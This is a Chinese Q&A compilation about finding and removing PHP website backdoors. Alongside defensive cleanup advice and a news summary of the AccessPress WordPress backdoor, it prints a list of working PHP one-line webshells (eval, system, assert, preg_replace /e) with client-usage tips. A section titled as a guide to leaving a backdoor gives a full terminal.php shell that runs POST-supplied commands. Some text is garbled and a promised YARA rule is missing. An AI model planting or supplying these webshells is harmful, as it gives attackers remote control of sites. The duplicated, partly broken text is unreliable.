php后门检查
‘壹’ 怎样查杀 php 网站的后门
杀毒其实很简单的
就直接打开电脑管家——病毒查杀——全盘杀毒
杀毒完成后，注意重启一下电脑，这样才可以保证病毒彻底被删除
‘贰’ PHP网站后门怎么清除
一般都是网站程序存在漏洞或者服务器存在漏洞而被攻击了
网站挂马是每个网站最头痛的问题，解决办法：1.在程序中很容易找到挂马的代码，直接删除，或则将你没有传服务器的源程序覆盖一次但反反复复被挂就得深入解决掉此问题了。但这不是最好的解决办法。最好的方法还是找专业做安全的来帮你解决掉
听朋友说 SineSafe 不错 你可以去看看。
清马+修补漏洞=彻底解决
所谓的挂马，就是黑客通过各种手段，包括SQL注入，网站敏感文件扫描，服务器漏洞，网站程序0day, 等各种方法获得网站管理员账号，然后登陆网站后台，通过数据库 备份/恢复 或者上传漏洞获得一个webshell。利用获得的webshell修改网站页面的内容，向页面中加入恶意转向代码。也可以直接通过弱口令获得服务器或者网站FTP，然后直接对网站页面直接进行修改。当你访问被加入恶意代码的页面时，你就会自动的访问被转向的地址或者下载木马病毒
清马
1、找挂马的标签，比如有<script language="javascript" src="网马地址"></script>或<iframe width=420 height=330 frameborder=0
scrolling=auto src=网马地址></iframe>，或者是你用360或病杀毒软件拦截了网马网址。SQL数据库被挂马，一般是JS挂马。
2、找到了恶意代码后，接下来就是清马，如果是网页被挂马，可以用手动清，也可以用批量清，网页清马比较简单，这里就不详细讲，现在着重讲一下SQL数据库清马，用这一句语句“update 表名 set 字段名=replace(字段名,'aaa','')”， 解释一下这一句子的意思：把字段名里的内容包含aaa的替换成空，这样子就可以一个表一个表的批量删除网马。
在你的网站程序或数据库没有备份情况下，可以实行以上两步骤进行清马，如果你的网站程序有备份的话，直接覆盖原来的文件即可。
修补漏洞（修补网站漏洞也就是做一下网站安全。）
1、修改网站后台的用户名和密码及后台的默认路径。
2、更改数据库名,如果是ACCESS数据库，那文件的扩展名最好不要用mdb，改成ASP的，文件名也可以多几个特殊符号。
3、接着检查一下网站有没有注入漏洞或跨站漏洞，如果有的话就相当打上防注入或防跨站补丁。
4、检查一下网站的上传文件，常见了有欺骗上传漏洞，就对相应的代码进行过滤。
5、尽可能不要暴露网站的后台地址，以免被社会工程学猜解出管理用户和密码。
6、写入一些防挂马代码，让框架代码等挂马无效。
7、禁用FSO权限也是一种比较绝的方法。
8、修改网站部分文件夹的读写权限。
9、如果你是自己的服务器，那就不仅要对你的网站程序做一下安全了，而且要对你的服务器做一下安全也是很有必要了！
‘叁’ 一个有意思的 PHP 一句话后门，怎么破
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在
配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>
‘肆’ php网站怎么留后门
在php.ini中设置开启exec() system(）等函数
创建 terminal.php 文件如下
<?php
!(isset($_POST['parma'])&&$_POST['parma']!='')&&exit("请输入需要执行的shell命令");
!(isset($_POST['type'])&&$_POST['type']!='')&&exit("请输入调用函数的类型");
$parma=$_POST['parma'];
switch($_POST['type']){
case'system':
returnsystem($parma);
break;
case'exec':
returnexec($parma,$return);
break;
case'passthru':
returnpassthru($parma);
break;
default:
exit;
}
?>
‘伍’ PHP程序，如何检测是否被植入后门，木马
清马
1、找挂马的标签，比如有<script language="javasc粻紶纲咳蕺纠告穴梗膜ript" src="网马地址"></script>或<iframe width=420 height=330 frameborder=0
scrolling=auto src=网马地址></iframe>，或者是你用360或病杀毒软件拦截了网马网址。SQL数据库被挂马，一般是JS挂马。
2、找到了恶意代码后，接下来就是清马，如果是网页被挂马，可以用手动清，也可以用批量清，网页清马比较简单，这里就不详细讲，现在着重讲一下SQL数据库清马，用这一句语句“update 表名 set 字段名=replace(字段名,'aaa','')”， 解释一下这一句子的意思：把字段名里的内容包含aaa的替换成空，这样子就可以一个表一个表的批量删除网马。
在你的网站程序或数据库没有备份情况下，可以实行以上两步骤进行清马，如果你的网站程序有备份的话，直接覆盖原来的文件即可。
修补漏洞（修补网站漏洞也就是做一下网站安全。）
1、修改网站后台的用户名和密码及后台的默认路径。
2、更改数据库名,如果是ACCESS数据库，那文件的扩展名最好不要用mdb，改成ASP的，文件名也可以多几个特殊符号。
3、接着检查一下网站有没有注入漏洞或跨站漏洞，如果有的话就相当打上防注入或防跨站补丁。
4、检查一下网站的上传文件，常见了有欺骗上传漏洞，就对相应的代码进行过滤。
5、尽可能不要暴露网站的后台地址，以免被社会工程学猜解出管理用户和密码。
6、写入一些防挂马代码，让框架代码等挂马无效。
7、禁用FSO权限也是一种比较绝的方法。
8、修改网站部分文件夹的读写权限。
9、如果你是自己的服务器，那就不仅要对你的网站程序做一下安全了，而且要对你的服务器做一下安全也是很有必要了！
‘陆’ PHP的93个WordPress插件有后门
因为93 个 WordPress 主题和插件包含后门，从而使得攻击者可以完全控制网站。攻击者总共入侵了 AccessPress 的 40 个主题和 53 个插件，AccessPress 是 WordPress 插件的开发者，用于超过 360,000 个活动网站。
该攻击是由 Jetpack 的研究人员发现的，Jetpack 是 WordPress 网站安全和优化工具的创建者，他们发现 PHP 后门已被添加到主题和插件中。
Jetpack 认为外部威胁攻击者入侵了 AccessPress 网站以破坏软件并感染更多的 WordPress 网站。
一旦管理员在他们的网站上安装了一个受感染的 AccessPress 产品，就会在主主题目录中添加一个新的“initial.php”文件，并将其包含在主“functions.php”文件中。该文件包含一个 base64 编码的有效负载，它将 webshel l 写入“./wp-includes/vars.php”文件。恶意代码通过解码并将其注入“vars.php”文件来完成后门安装，实质上是让攻击者远程控制受感染的站点。
检测这种威胁的唯一方法是使用核心文件完整性监控解决方案，因为恶意软件会删除“initial.php”文件释放器以掩盖其踪迹。
我受到影响吗？
如果您在您的网站上安装了其中一个受感染的插件或主题，则删除/替换/更新它们不会根除任何可能通过它植入的 webshel l。
因此，建议网站管理员通过执行以下操作来扫描他们的网站是否存在入侵迹象：
Jetpack 提供了以下 YARA 规则，可用于检查站点是否已被感染并检测 dropper 和已安装的 webshel l：
原文链接：PHP的93个WordPress插件有后门